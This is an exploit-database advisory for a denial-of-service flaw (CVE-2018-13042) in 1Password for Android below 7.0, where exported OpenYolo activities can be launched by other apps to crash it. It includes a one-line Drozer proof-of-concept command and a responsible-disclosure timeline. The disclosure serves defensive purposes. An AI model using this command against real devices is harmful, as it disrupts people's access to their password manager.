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1Password < 7.0 - Denial of Service Exploit

🗓️ 15 Jan 2019 00:00:00Reported by Valerio BrussaniType 
zdt
 zdt
🔗 0day.today👁 45 Views

1Password Android < 7.0 DoS exploit via exported activitie

Related
Code
ReporterTitlePublishedViews
Family
CNVD
1Password application for Android denial of service vulnerability
25 Jan 201900:00
cnvd
CVE
CVE-2018-13042
5 Oct 201821:00
cve
Cvelist
CVE-2018-13042
5 Oct 201821:00
cvelist
NVD
CVE-2018-13042
5 Oct 201821:29
nvd
OSV
CVE-2018-13042
5 Oct 201821:29
osv
Packet Storm
1Password Denial Of Service
16 Jan 201900:00
packetstorm
Prion
Denial of service
5 Oct 201821:29
prion
############
Description
############


The 1Password application < 7.0 for Android is affected by a Denial Of
Service vulnerability. By starting the activity
com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity or
com.agilebits.onepassword.filling.openyolo.OpenYoloRetrieveActivity from an
external application (since they are exported), it is possible to crash the
1Password instance.

 

############
Poc
############

 

To invoke the exported activity and crash the app, it is possible
to use Drozer:

 

run app.activity.start --component com.agilebits.onepassword
com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity



############
Affected Components
############


com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity
com.agilebits.onepassword.filling.openyolo.OpenYoloRetrieveActivity

 

############
Disclosure timeline
############


2018-07-27 Contacting 1Password

2018-07-30 1Password acknowledges the vulnerability

2018-08-22 The vulnerability is fixed and made public



Valerio Brussani (@val_brux)

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15 Jan 2019 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 24.3
CVSS 35.9
EPSS0.10158
45